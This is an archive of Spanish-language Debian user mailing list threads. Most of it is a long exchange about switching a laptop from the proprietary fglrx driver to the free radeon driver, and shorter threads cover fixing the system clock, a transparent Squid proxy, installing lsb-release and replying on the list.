> El 26/03/13 15:11, Camaleón escribió:
> 
>> ¿Por qué? :-)
> 
> 
> Porque la verdad, no se que más hacer. Me supera.

Es cuestión de ir probando cosas. Yo empezaría a trabajar sobre el 
archivo que te generó Xorg automáticamente, dejándolo lo más sencillo 
posible y apuntando únicamente al radeon en lugar de al intel.
 
>> Anda y anímate con el radeon, pero no elimines ningún paquete de los
>> drivers cerrados, tan sólo juega con el archivo de configuración de
>> Xorg: el objetivo es conseguir que cargue el "radeon" en lugar del
>> "fglxr".
>>
>>
>>
> Pero si es que... en cuanto pongo que cargue radeon en vez de fglrx, el
> driver falla, y sólo obtengo una traza que me suena a chino... :(

Bueno, tienes que tener claros algunos conceptos:

1/ No puedes cambiar de driver sin más, asegúrate de que sólo haya un 
archivo de configuración "xorg.conf" que sea el que lea Xorg y asegúrate 
también de que ese archivo apunte al driver que quieres (radeon).

2/ El driver radeon necesita activar el modo KMS y el driver propietario 
lo desactiva. Tienes que tener cuidado con esto ya que si el radeon 
detecta que no hay KMS o si el cerrado detecta que está activado 
sencillamente no podrán iniciar.

3/ Los registros y los mensajes de error son muy importantes. Con cada 
cambio que hagas en el archivo de configuración y tras cada reinicio, 
conviene revisar el registro ("/var/log/Xorg.0.log") para saber qué es lo 
que está haciendo realmente el servidor X.

Ánimo, que viene un fin de semana largo ideal para romper el equip... 
(ejem) quiero decir, para jugar con estas cosas O:-)

Saludos,

-- 
Camaleón


-- 
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: http://lists.debian.org/kisocm$tml$1...@ger.gmane.org

Re: [RESUELTO]: Driver "radeon" (era: imposible reducir el brillo de la pantalla)

[Eduardo Rios]

El 26/03/13 15:11, Camaleón escribió:


¿Por qué? :-)



Porque la verdad, no se que más hacer. Me supera.




Anda y anímate con el radeon, pero no elimines ningún paquete de los
drivers cerrados, tan sólo juega con el archivo de configuración de Xorg:
el objetivo es conseguir que cargue el "radeon" en lugar del "fglxr".

Saludos,



Pero si es que... en cuanto pongo que cargue radeon en vez de fglrx, el 
driver falla, y sólo obtengo una traza que me suena a chino... :(



--
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: http://lists.debian.org/5151e0e9.7020...@yahoo.es

Re: [RESUELTO]: Driver "radeon" (era: imposible reducir el brillo de la pantalla)

[Camaleón]

El Mon, 25 Mar 2013 21:17:35 +0100, Eduardo Rios escribió:

> Pues nada, me quedaré con los drivers propietarios. Gracias

¿Por qué? :-)

Anda y anímate con el radeon, pero no elimines ningún paquete de los 
drivers cerrados, tan sólo juega con el archivo de configuración de Xorg: 
el objetivo es conseguir que cargue el "radeon" en lugar del "fglxr".

Saludos,

-- 
Camaleón


-- 
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: http://lists.debian.org/kisaak$tml$2...@ger.gmane.org

Re: Re: [RESUELTO]: Driver "radeon" (era: imposible reducir el brillo de la pantalla)

[Eduardo Rios]

Pues nada, me quedaré con los drivers propietarios. Gracias


--
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: http://lists.debian.org/5150b0df.1070...@yahoo.es

Re: [RESUELTO]: Driver "radeon" (era: imposible reducir el brillo de la pantalla)

[Camaleón]

El Sun, 24 Mar 2013 20:32:21 +0100, Eduardo Rios escribió:

> Hola de nuevo.
> 
> Aunque el tema está resuelto, sigo dándole vueltas a lo de no poder usar
> el driver radeon (más que nada por curiosidad).

Je... así debe ser :-)

> No entiendo casi nada el fichero /var/log/Xorg.0.log, pero una cosa que
> me ha llamado la atención, es que durante el arranque, detecta estos
> dispositivos:
> 
> 27.215] (--) PCI:*(0:0:2:0) 8086:0116:103c:165a rev 9, Mem @
> 0xc000/4194304, 0xb000/268435456, I/O @ 0x6000/64 -> Esta es
> la tarjeta Intel
> 
> [27.216] (--) PCI: (0:1:0:0) 1002:6740:103c:165a rev 0, Mem @
> 0xa000/268435456, 0xc650/131072, I/O @ 0x5000/256, BIOS @
> 0x/131072 -> Esta es la tarjeta ATI (o AMD)
> 
> Desde la ignorancia más absoluta, se me ha ocurrido que el asterisco que
> hay después del primer PCI indique el dispositivo que va a usar por
> defecto... Y si es así, es normal que falle el fichero xorg.conf al
> obligarle a usar el driver radeon, ya que le corresponde Intel.

Sí y no.

El dispositivo marcado con asterisco seguramente sea el predeterminado 
(simplemente porque la BIOS seguramente lo detecta en primer lugar, nada 
más) pero el orden de la BIOS no importa ya que Xorg se configura 
automáticamente y obviamente puedes decirle qué tarjeta quieres usar como 
principal (y en el caso de tener dos tarjetas "físicamente" distintas, 
podrías decidir si quieres usar las dos o sólo una de ellas).
 
> Y la duda o pregunta que me viene a la cabeza es: ¿Se puede decir al
> kernel de alguna manera que ignore el primer dispositivo PCI y que haga
> caso al segundo?
> 
> Igual es una burrada lo que he dicho, pero no se me ocurre nada mas :-D

No sería el kernel sino Xorg al que tienes que decirle qué tarjeta 
quieres usar. Y eso, al menos que yo sepa, se consigue especificando el 
driver a cargar desde el archivo de configuración "/etc/X11/xorg.conf".

La idea es que sea el usuario quien tenga el control de su hardware, no 
al revés ;-)

Saludos,

-- 
Camaleón


-- 
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: http://lists.debian.org/kipmu7$dte$3...@ger.gmane.org

Re: [RESUELTO]: Driver "radeon" (era: imposible reducir el brillo de la pantalla)

[Eduardo Rios]

Hola de nuevo.

Aunque el tema está resuelto, sigo dándole vueltas a lo de no poder usar 
el driver radeon (más que nada por curiosidad).


No entiendo casi nada el fichero /var/log/Xorg.0.log, pero una cosa que 
me ha llamado la atención, es que durante el arranque, detecta estos 
dispositivos:


27.215] (--) PCI:*(0:0:2:0) 8086:0116:103c:165a rev 9, Mem @ 
0xc000/4194304, 0xb000/268435456, I/O @ 0x6000/64 -> Esta es 
la tarjeta Intel


[27.216] (--) PCI: (0:1:0:0) 1002:6740:103c:165a rev 0, Mem @ 
0xa000/268435456, 0xc650/131072, I/O @ 0x5000/256, BIOS @ 
0x/131072 -> Esta es la tarjeta ATI (o AMD)


Desde la ignorancia más absoluta, se me ha ocurrido que el asterisco que 
hay después del primer PCI indique el dispositivo que va a usar por 
defecto... Y si es así, es normal que falle el fichero xorg.conf al 
obligarle a usar el driver radeon, ya que le corresponde Intel.


Y la duda o pregunta que me viene a la cabeza es: ¿Se puede decir al 
kernel de alguna manera que ignore el primer dispositivo PCI y que haga 
caso al segundo?


Igual es una burrada lo que he dicho, pero no se me ocurre nada mas

Gracias.


--
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: http://lists.debian.org/514f5771.9060...@yahoo.es

Re: [RESUELTO]: Driver "radeon" (era: imposible reducir el brillo de la pantalla)

[Eduardo Rios]

Hola de nuevo.

Aunque el tema está resuelto, sigo dándole vueltas a lo de no poder usar 
el driver radeon (más que nada por curiosidad).


No entiendo casi nada el fichero /var/log/Xorg.0.log, pero una cosa que 
me ha llamado la atención, es que durante el arranque, detecta estos 
dispositivos:


27.215] (--) PCI:*(0:0:2:0) 8086:0116:103c:165a rev 9, Mem @ 
0xc000/4194304, 0xb000/268435456, I/O @ 0x6000/64 -> Esta es 
la tarjeta Intel


[27.216] (--) PCI: (0:1:0:0) 1002:6740:103c:165a rev 0, Mem @ 
0xa000/268435456, 0xc650/131072, I/O @ 0x5000/256, BIOS @ 
0x/131072 -> Esta es la tarjeta ATI (o AMD)


Desde la ignorancia más absoluta, se me ha ocurrido que el asterisco que 
hay después del primer PCI indique el dispositivo que va a usar por 
defecto... Y si es así, es normal que falle el fichero xorg.conf al 
obligarle a usar el driver radeon, ya que le corresponde Intel.


Y la duda o pregunta que me viene a la cabeza es: ¿Se puede decir al 
kernel de alguna manera que ignore el primer dispositivo PCI y que haga 
caso al segundo?


Igual es una burrada lo que he dicho, pero no se me ocurre nada mas :-D

Gracias.


--
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: http://lists.debian.org/514f54c5.2000...@yahoo.es

Re: [RESUELTO]: Driver "radeon" (era: imposible reducir el brillo de la pantalla)

[Camaleón]

El Sat, 23 Mar 2013 14:46:25 +0100, Eduardo Rios escribió:

> El 23/03/13 14:15, Camaleón escribió:
> 
>> Pues tiene razón el caballero, la aceleración 3D estaba activada con el
>> driver intel. Hum... y gnome-shell decía:
>>
>> ***
>> /usr/lib/gnome-session/gnome-session-check-accelerated-helper: error
>> while loading shared libraries: libGL.so.1: cannot open shared object
>> file: No such file or directory
>> ***
>>
>> ¿Sería verdad? :-?

(...)

> Creo que te has perdido un mensaje que puse sobre esto :-D

Seguramente O:-)

> Es verdad que al desinstalar los controladores propietarios, la
> aceleración 3D deja de funcionar con los controladores de Intel, pero
> como puse después, reinstalando el paquete glx-diversions, vuelve a
> funcionar... :-)

Ah, pues sí, me lo perdí por completo. Siendo así, perfecto, este asunto 
queda claro (ya veo que el archivo existe, y varias versiones de hecho).

>> Okis, de todas formas has encontrado 2 bugs:
>>
>> - En gnome-shell con el driver cerrado de ATI, al mostrar el día de la
>> semana y los segundos en el widget de la hora se producen cuelgues.
> 
> No podría decirlo con seguridad, pero creo recordar algún que otro
> cuelgue también con los drivers libres de Intel... aunque no tan
> continuos como con los propietarios de AMD...

Si el cuelgue es fácilmente reproducible al activar esas dos opciones 
de la hora, pues entonces está claro que algún problema hay con ese 
driver. Por otra parte, poco se podría hacer porque los drivers 
propietarios no forman parte de nuestro "ecosistema", habría que 
informarlo al desarrollador (AMD/ATI).

>> - Tienes una traza al cargar el driver radeon:
>>
>> [27.559]
>> [27.559] Backtrace:
>> [27.559] 0: /usr/bin/Xorg (xorg_backtrace+0x36) [0x7f69dbbebcd6] 
(...)
>> [27.560] Segmentation fault at address (nil) [27.560]
>> Fatal server error:
>> [27.560] Caught signal 11 (Segmentation fault). Server aborting
> 
> Lo siento, pero todo esto me suena a chino... y no entiendo que puedo
> hacer con eso. Entiendo que son errores, pero no que hacer para
> solucionarlo :(

Nada, es un error de segmentación, sólo un desarrollador te podría decir
que tocar o probar para resolverlo (si es que tiene solución). Habría
que abrir un informa de fallo en el BTS de Debian (como se trata del driver
libre no habría problemas).

>> Pero vale, vale... te dejo ya, no vaya a ser que te acabe empachando
>> con tantas pruebas y termines por pasarte a Windows O:-P
>>
> Ya dije que estaba decidido a no arrancar Windows, a pesar de tenerlo
> instalado :-D

Yo mantendría Windows, por si acaso. Siempre será mejor tener dos sistemas
operativos que uno sólo.

> El querer dar el tema por cerrado era porque el problema está resuelto,
> a pesar de no ser con los drivers libres, y creía que sería absurdo
> seguir haciendo crecer el hilo y molestando. Pero para nada porque me
> sienta empachado. Si consideras que debemos seguir, por mi no hay
> inconveniente.

No hombre, no. Lo importante es que el sistema te funcione bien, como 
quieres, el resto ya depende de la curiosidad o las ganas que tenga cada 
cual. Yo investigaría el error del driver radeon pero en mis tiempos 
libres y sin agobios (y sin tener que desinstalar el driver cerrado, ya
que seguramente puedan coexistir, sólo hay que tener en cuenta que el 
cerrado desactiva el KMS y el libre lo necesita).

Saludos,

-- 
Camaleón


-- 
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: http://lists.debian.org/kike4f$5fr$2...@ger.gmane.org

Re: [RESUELTO]: Driver "radeon" (era: imposible reducir el brillo de la pantalla)

[Eduardo Rios]

El 23/03/13 14:15, Camaleón escribió:


Pues tiene razón el caballero, la aceleración 3D estaba activada con
el driver intel. Hum... y gnome-shell decía:

***
/usr/lib/gnome-session/gnome-session-check-accelerated-helper: error
while loading shared libraries: libGL.so.1: cannot open shared object
file: No such file or directory
***

¿Sería verdad? :-?


Creo que te has perdido un mensaje que puse sobre esto :-D

Es verdad que al desinstalar los controladores propietarios, la 
aceleración 3D deja de funcionar con los controladores de Intel, pero 
como puse después, reinstalando el paquete glx-diversions, vuelve a 
funcionar... :-)



Por curiosidad, ¿qué te devuelve "locate libGL.so.1"?


¿En estos momentos?

/etc/alternatives/glx--libGL.so.1-x86_64-linux-gnu
/usr/lib/FGL.renamed.libGL.so.1.2
/usr/lib/libGL.so.1
/usr/lib/libGL.so.1.2
/usr/lib/fglrx/fglrx-libGL.so.1.2
/usr/lib/i386-linux-gnu/libGL.so.1
/usr/lib/i386-linux-gnu/libGL.so.1.2
/usr/lib/i386-linux-gnu/fglrx/fglrx-libGL.so.1.2
/usr/lib/mesa-diverted/x86_64-linux-gnu/libGL.so.1
/usr/lib/mesa-diverted/x86_64-linux-gnu/libGL.so.1.2



Okis, de todas formas has encontrado 2 bugs:

- En gnome-shell con el driver cerrado de ATI, al mostrar el día de la
semana y los segundos en el widget de la hora se producen cuelgues.


No podría decirlo con seguridad, pero creo recordar algún que otro 
cuelgue también con los drivers libres de Intel... aunque no tan 
continuos como con los propietarios de AMD...


- Tienes una traza al cargar el driver radeon:

[27.559]
[27.559] Backtrace:
[27.559] 0: /usr/bin/Xorg (xorg_backtrace+0x36) [0x7f69dbbebcd6]
[27.559] 1: /usr/bin/Xorg (0x7f69dba6d000+0x182829) [0x7f69dbbef829]
[27.559] 2: /lib/x86_64-linux-gnu/libpthread.so.0 (0x7f69dad95000+0xf030) 
[0x7f69dada4030]
[27.559] 3: /usr/bin/Xorg (xf86SetScrnInfoModes+0x275) [0x7f69dbb2c4a5]
[27.559] 4: /usr/bin/Xorg (xf86InitialConfiguration+0x15a5) [0x7f69dbb2fe15]
[27.559] 5: /usr/lib/xorg/modules/drivers/radeon_drv.so 
(0x7f69d79cd000+0xd8d4e) [0x7f69d7aa5d4e]
[27.559] 6: /usr/lib/xorg/modules/drivers/radeon_drv.so 
(0x7f69d79cd000+0xd4cd3) [0x7f69d7aa1cd3]
[27.560] 7: /usr/bin/Xorg (InitOutput+0x8ba) [0x7f69dbafea2a]
[27.560] 8: /usr/bin/Xorg (0x7f69dba6d000+0x41d26) [0x7f69dbaaed26]
[27.560] 9: /lib/x86_64-linux-gnu/libc.so.6 (__libc_start_main+0xfd) 
[0x7f69d9abcead]
[27.560] 10: /usr/bin/Xorg (0x7f69dba6d000+0x4219d) [0x7f69dbaaf19d]
[27.560]
[27.560] Segmentation fault at address (nil)
[27.560]
Fatal server error:
[27.560] Caught signal 11 (Segmentation fault). Server aborting


Lo siento, pero todo esto me suena a chino... y no entiendo que puedo 
hacer con eso. Entiendo que son errores, pero no que hacer para 
solucionarlo :(


Pero vale, vale... te dejo ya, no vaya a ser que te acabe empachando con tantas
pruebas y termines por pasarte a Windows O:-P

Saludos,



Ya dije que estaba decidido a no arrancar Windows, a pesar de tenerlo 
instalado :-D


El querer dar el tema por cerrado era porque el problema está resuelto, 
a pesar de no ser con los drivers libres, y creía que sería absurdo 
seguir haciendo crecer el hilo y molestando. Pero para nada porque me 
sienta empachado. Si consideras que debemos seguir, por mi no hay 
inconveniente.


Gracias.


--
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: http://lists.debian.org/514db231.3090...@yahoo.es

Re: [RESUELTO]: Driver "radeon" (era: imposible reducir el brillo de la pantalla)

[Camaleón]

El Sat, 23 Mar 2013 13:34:40 +0100, Eduardo Rios escribió:

> El 23/03/13 12:32, Camaleón escribió:
> 
>> Recapitulemos:
>>
>> 1/ Actualmente tienes los drivers libres instalados (intel y ati).
> 
> Si.
> 
> 
>> 2/ El sistema inicia con el driver intel si no existe ningún archivo de
>> configuración xorg.conf pero tiene problemas para habilitar el 3D y
>> tampoco nos interesa que trabaje con este driver.
> 
> 
> No es exactamente así. Si no hay fichero /etc/X11/xorg.conf, usa los
> drivers de Intel, y puedo tener aceleración 3D, y funciona gnome-shell.

Hum... entonces ¿por qué no cargaba gnome-shell? Espera que revise el 
registro que enviaste:

***
[27.519] (II) intel(0): [DRI2] Setup complete
[27.519] (II) intel(0): [DRI2]   DRI driver: i965
(...)
[27.524] (II) intel(0): direct rendering: DRI2 Enabled
***

Pues tiene razón el caballero, la aceleración 3D estaba activada con
el driver intel. Hum... y gnome-shell decía:

***
/usr/lib/gnome-session/gnome-session-check-accelerated-helper: error 
while loading shared libraries: libGL.so.1: cannot open shared object 
file: No such file or directory
***

¿Sería verdad? :-?

Por curiosidad, ¿qué te devuelve "locate libGL.so.1"?

> La necesidad de usar la gráfica ATI, es porque con la de Intel, se nota
> que el procesador tiene que trabajar más (ya que no tiene memoria
> dedicada como si ocurre con la ATI), y el ventilador del portátil no
> para nunca.

Correcto. Aunque el consumo energético será menor con la intel y en un
equipo portátil puede ser un punto a favor, yo también preferiría usar
la gráfica "potentorra" :-)
 
> En cambio, si uso los drivers propietarios de ATI, se crea el fichero
> /etc/X11/xorg.conf durante la instalación de los controladores, y
> funciona perfectamente. El problema con los drivers propietarios es que
> creía que por culpa de ellos, se colgaba el sistema gráfico. Y digo
> creía, porque cuando te cuente qué era lo que hacía que se colgara todo
> el sistema gráfico, no te lo vas a creer.

Hombre, siempre está bien tener dos conjuntos de drivers que funcionen,
así en el caso de que unos tengan problemas sabes que puedes funcionar con
los otros. Una de las ventajas de los drivers propietarios de ATI es que 
gestionan mejor el ahorro de energía que los libres.

>> 3/ La idea es que en lugar del driver intel use el radeon (libre) y
>> para eso estamos intentando forzarle con un archivo de configuración
>> xorg.conf que te ha generado automáticamente y que tienes en
>> "/root/xorg.conf.new". Ese es el único archivo que debe de leer Xorg,
>> es decir, en el directorio "/etc/X11/*" no tienes que tener ningún
>> xorg.conf salvo las copias de seguridad que tengas almacenadas pero que
>> deben de tener una extensión diferente para que no activen (p. ej.,
>> "xorg.conf.ati", "xorg.conf.orig", etc...).

(...)

> Yo buscaba que el sistema gráfico funcionara correctamente. Entiendo que
> si prefiero Debian como distribución es porque estoy de acuerdo con su
> filosofía de código abierto... pero en caso de drivers, no tengo
> problemas en usar los propietarios. Perdón si ofendo a alguien con esta
> decisión.

Yo tampoco tengo problemas morales en usar drivers propietarios (de hecho 
uso los de nvidia en unos equipos donde necesito 3D y los libres -nv- en 
otros donde no necesito potencia gráfica).

> Con tantas pruebas, instalaciones y desinstalaciones de drivers
> propietarios y libres, la verdad es que tengo unos 5 ó 6 ficheros
> /var/log/Xorg.n.log donde n es un numero de 0 a 5, por lo que a saber
> cual sería mejor haberte enviado...
> 
> De todos modos, como decía anteriormente, ya he marcado de nuevo el hilo
> como resuelto. Por estas razones:
> 
> 1. Ya me funciona el controlar el brillo de la pantalla con los botones
> del teclado, con las instrucciones que me diste: editando el archivo de
> configuración de GRUB2 (/etc/default/grub) y poner:
> 
> GRUB_CMDLINE_LINUX_DEFAULT="quiet acpi_osi=Linux acpi_backlight=vendor"

Je, ya ni me acordaba de eso O:-)

> 2. Ahora mismo tengo funcionando el sistema gráfico funcionando
> perfectamente con los drivers propietarios, y, lo mejor, es que he
> cazado a los culpables del cuelgue.
> 
> Te cuento. Se me ocurrió activar estas opciones de gnome-shell:
> 
> - "Show time with seconds"
> - "Show the week date in the calendar"
> 
> Al principio no caí en esto, pero a raíz de esto, empezaron los
> cuelgues...
> 
> He vuelto a desactivar eso, y no ha vuelto a fallar el sistema.

¡No fastidies! :-O
 
> ¿Es para volverse loco, cortarse las venas, o qué?
> 
> Creo que podremos dar el tema por cerrado. Muchas gracias por tu interés
> y ayuda, y a todos por vuestros

[RESUELTO]: Driver "radeon" (era: imposible reducir el brillo de la pantalla)

[Eduardo Rios]

El 23/03/13 12:32, Camaleón escribió:


Recapitulemos:

1/ Actualmente tienes los drivers libres instalados (intel y ati).


Si.



2/ El sistema inicia con el driver intel si no existe ningún archivo de
configuración xorg.conf pero tiene problemas para habilitar el 3D y
tampoco nos interesa que trabaje con este driver.



No es exactamente así. Si no hay fichero /etc/X11/xorg.conf, usa los 
drivers de Intel, y puedo tener aceleración 3D, y funciona gnome-shell. 
La necesidad de usar la gráfica ATI, es porque con la de Intel, se nota 
que el procesador tiene que trabajar más (ya que no tiene memoria 
dedicada como si ocurre con la ATI), y el ventilador del portátil no 
para nunca.


En cambio, si uso los drivers propietarios de ATI, se crea el fichero 
/etc/X11/xorg.conf durante la instalación de los controladores, y 
funciona perfectamente. El problema con los drivers propietarios es que 
creía que por culpa de ellos, se colgaba el sistema gráfico. Y digo 
creía, porque cuando te cuente qué era lo que hacía que se colgara todo 
el sistema gráfico, no te lo vas a creer.




3/ La idea es que en lugar del driver intel use el radeon (libre) y para
eso estamos intentando forzarle con un archivo de configuración xorg.conf
que te ha generado automáticamente y que tienes en "/root/xorg.conf.new".
Ese es el único archivo que debe de leer Xorg, es decir, en el directorio
"/etc/X11/*" no tienes que tener ningún xorg.conf salvo las copias de
seguridad que tengas almacenadas pero que deben de tener una extensión
diferente para que no activen (p. ej., "xorg.conf.ati", "xorg.conf.orig",
etc...).


Yo buscaba que el sistema gráfico funcionara correctamente. Entiendo que 
si prefiero Debian como distribución es porque estoy de acuerdo con su 
filosofía de código abierto... pero en caso de drivers, no tengo 
problemas en usar los propietarios. Perdón si ofendo a alguien con esta 
decisión.




Ahí va... Hombre, pues eso es lo que queríamos conseguir, que te cargara
el driver radeon (el libre). ¿Estás seguro de que el driver que tienes
ahora es el libre, el radeon? Si es así, perfecto y problema solucionado
pero me parece que te refieres al cerrado (fglxr) ;-)

Saludos,



Con tantas pruebas, instalaciones y desinstalaciones de drivers 
propietarios y libres, la verdad es que tengo unos 5 ó 6 ficheros 
/var/log/Xorg.n.log donde n es un numero de 0 a 5, por lo que a saber 
cual sería mejor haberte enviado...


De todos modos, como decía anteriormente, ya he marcado de nuevo el hilo 
como resuelto. Por estas razones:


1. Ya me funciona el controlar el brillo de la pantalla con los botones 
del teclado, con las instrucciones que me diste: editando el archivo de 
configuración de GRUB2 (/etc/default/grub) y poner:


GRUB_CMDLINE_LINUX_DEFAULT="quiet acpi_osi=Linux acpi_backlight=vendor"

2. Ahora mismo tengo funcionando el sistema gráfico funcionando 
perfectamente con los drivers propietarios, y, lo mejor, es que he 
cazado a los culpables del cuelgue.


Te cuento. Se me ocurrió activar estas opciones de gnome-shell:

- "Show time with seconds"
- "Show the week date in the calendar"

Al principio no caí en esto, pero a raíz de esto, empezaron los cuelgues...

He vuelto a desactivar eso, y no ha vuelto a fallar el sistema.

¿Es para volverse loco, cortarse las venas, o qué?

Creo que podremos dar el tema por cerrado. Muchas gracias por tu interés 
y ayuda, y a todos por vuestros comentarios.


Hasta la próxima aventura!! :-D


--
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: http://lists.debian.org/514da160.5000...@yahoo.es

Re: Fallo con la hora del sistema [RESUELTO]

[Camaleón]

El Sun, 27 Jan 2013 23:31:35 -0430, Miguel Matos escribió:

(responder en el mismo hilo...)

> El día 27 de noviembre de 2012 10:49, JulHer 
> escribió:
>> El 27/11/12 03:36, Miguel Matos escribió:

(...)

>>> ¿cómo puedo hacer para que me lea la hora correcta? Ya lo intenté con
>>> hwclock --set --date "2012-11-26 22:04" [OK]
>>> date --set "2012-11-26 22:04"
>>> lun nov 26 22:04:00 VET 2012
>>> root@debian-LT(...)
>>>
>>> Pero quiero que sea permanente. ¿Cómo poder hacer esto? Si alguna
>>> respuesta es a causa de la pila del BIOS, entonces tendré un gran y
>>> enorme problema, porque no sé abrir mi laptop. Agradecido por alguna
>>> ayuda que me faciliten.
>>
>> Suena a que no está bien configurada la hora.
>>
>> ¿Es que pais estás?
>>
>> Primero haz un
>>
>> $ date
>>
>> y después haz
>>
>> $ date -u
>>
>> Si coinciden puede que necesites hacer
>>
>> # tzselect
>>
>> y seleccionar lo que corresponda. De todos modos aunque no coincidan,
>> hacer un tzselect no te va a ahacer ningún daño.
>>
>>
> Y esa fue la píldora del día después. Con eso parece que se ha curado en
> salud. Ya no tengo el problemita, asunto resuelto.

Para cambiar la zona horaria del sistema de manera permanente tendrás que 
ejecutar "dpkg-reconfigure tzdata" (o eso dice el manual) ;-)

Saludos,

-- 
Camaleón


-- 
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: http://lists.debian.org/ke619r$7m7$4...@ger.gmane.org

Fallo con la hora del sistema [RESUELTO]

[Miguel Matos]

El día 27 de noviembre de 2012 10:49, JulHer
 escribió:
> El 27/11/12 03:36, Miguel Matos escribió:
>
>> Intentaré ser breve y directo:
>
>
> Se agradece.
>
>
>> ¿cómo puedo hacer para que me lea la hora
>> correcta? Ya lo intenté con
>> hwclock --set --date "2012-11-26 22:04"
>> [OK]
>> date --set "2012-11-26 22:04"
>> lun nov 26 22:04:00 VET 2012
>> root@debian-LT(...)
>>
>> Pero quiero que sea permanente. ¿Cómo poder hacer esto? Si alguna
>> respuesta es a causa de la pila del BIOS, entonces tendré un gran y
>> enorme problema, porque no sé abrir mi laptop. Agradecido por alguna
>> ayuda que me faciliten.
>
> Suena a que no está bien configurada la hora.
>
> ¿Es que pais estás?
>
> Primero haz un
>
> $ date
>
> y después haz
>
> $ date -u
>
> Si coinciden puede que necesites hacer
>
> # tzselect
>
> y seleccionar lo que corresponda. De todos modos aunque no coincidan, hacer
> un tzselect no te va a ahacer ningún daño.
>
> Un saludo
>
> JulHer
>
Y esa fue la píldora del día después. Con eso parece que se ha curado
en salud. Ya no tengo el problemita, asunto resuelto.


-- 
Buen uso de las listas (como se ven en Debian):
http://wiki.debian.org/es/NormasLista
Ayuda para hacer preguntas inteligentes: http://is.gd/NJIwRz


--
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: 
http://lists.debian.org/CALEvJmR0wVnRGs5wgS6aeRWwCxA--GoS9z9YEv+-6BFXtO6d=q...@mail.gmail.com

Re: Proxy squid automatico [ RESUELTO ]

[Francisco Eduardo Ascencio Dominguez]

El 29/11/2012, a las 08:45, Camaleón  escribió:

> El Wed, 28 Nov 2012 14:24:37 -0600, Francisco Eduardo Ascencio Dominguez
> escribió:
> 
>> monte un servidor proxy con squid pero lo que pasa es que  a cada
>> computadora le tengo que configurar el proxy y ponerle la ip del server
>> proxi. mi pregunta es como puedo hacer para que esto se aga
>> automáticamente. ley que era con ip tables e intente hacerlo pero no me
>> funciono. el servidor esta montado en debian squeeze 6. alguien puede
>> ayudar u orientarme ?
> 
> Pues si te he entendido bien, podrías hacerlo de dos formas:
> 
> 1/ En el lado del servidor, configurar un proxy transparente¹
> 
> 2/ En el lado del cliente (navegador), configurarlo para que detecte 
> automáticamente la configuración del proxy²
> 
> ¹http://es.wikipedia.org/wiki/Proxy#Proxies_transparentes
> ²http://en.wikipedia.org/wiki/Web_Proxy_Autodiscovery_Protocol
> 
> Saludos,
> 
> -- 
> Camaleón
> 
> 
> -- 
> To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
> with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
> Archive: http://lists.debian.org/k97se4$4np$3...@ger.gmane.org
> 
> 

excelente !!! ya esta en marcha !!! gracias saludos buena info. 

--
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: http://lists.debian.org/blu0-smtp286f76b71ec110dfce9669fc5...@phx.gbl

RE: update debian 6.0.6 [RESUELTO]

[Francisco Eduardo Ascencio Dominguez]

> Date: Wed, 7 Nov 2012 23:26:09 +0100
> Subject: Re: update debian 6.0.6
> From: cosme.dd...@gmail.com
> To: debian-user-spanish@lists.debian.org
> 
> 2012/11/6 Francisco Eduardo Ascencio Dominguez :
> > Ok todo bien pero al momento de poner el comando lsb_release -a no funciona 
> > me dice que no se encontro la orden.
> >
> 
> Necesitas instalar el paquete lsb-release
> 
> 
> -- 
> To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
> with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
> Archive: 
> http://lists.debian.org/cam0+cipha75jybnv+afta+c8f4tdxcdbvjbmw5uhtmb8s9j...@mail.gmail.com
> 

Ok ya eh instaldo debian 6.0.6 saludos  
  

Re: Cómo responder a los mensajes de la lista (era: preguntas ?) [resuelto]

[Francisco Eduardo Ascencio Dominguez]

El 06/11/2012, a las 11:09, Camaleón  escribió:

> El Tue, 06 Nov 2012 10:41:08 -0600, Francisco Eduardo Ascencio Dominguez
> escribió:
> 
>> El 06/11/2012, a las 10:31, Camaleón  escribió:
> 
> (...)
> 
>>>> como contesto a una pregunta que un usuario hizo y como respondo una
>>>> respuesta de una pregunta que hice yo ?
>>> 
>>> Pues si estás suscrito a la lista y recibes los correos:
>>> 
>>> - Para responder a una pregunta seleccionas el correo y pulsas el botón
>>> de "Responder a la lista" o "Responder al grupo" (si no tienes estas
>>> opciones, pulsa "Responder a todos" y borra las direcciones personales
>>> dejando únicamente la de la lista de correo).
>>> 
>>> - Para responderte a ti mismo... lo mismo.
> 
>> Ok asi ? verdad
> 
> Pues sí :-)
> 
> Saludos,
> 
> -- 
> Camaleón
> 
> 
> -- 
> To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
> with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
